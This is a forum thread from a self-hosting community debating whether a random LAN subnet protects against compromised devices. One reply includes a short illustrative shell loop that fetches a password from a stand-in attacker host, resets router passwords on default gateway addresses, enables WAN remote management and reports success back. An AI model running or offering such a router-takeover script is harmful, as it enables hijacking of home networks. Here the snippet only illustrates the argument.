Selfhosted

hideshow 5 child comments

parent

[–] cravl@slrpnk.net 0 points 7 months ago (4 children)

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they're pretty simple scripts that just try to hit default ports on default IPs.

hideshow 4 child comments

parent

[–] possiblylinux127@lemmy.zip 2 points 7 months ago (3 children)

That's not how networking works

If someone is on the inside of your network you have much bigger issues. Having a random subnet won't do anything as they can just look at the arp/ndp tables.

hideshow 3 child comments

parent

[–] cravl@slrpnk.net 0 points 6 months ago* (2 children)

That's what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it's a someone inside your network, you need more.

hideshow 2 child comments

parent

[–] possiblylinux127@lemmy.zip 1 point 6 months ago (1 child)

Yeah I don't really understand your argument

parent

hideshow 1 child comment

[–] cravl@slrpnk.net 1 point 6 months ago

No worries. It is technically another layer in the "swiss cheese" model, but it certainly is more holes than cheese. I think it falls into the "can't hurt, might help" category.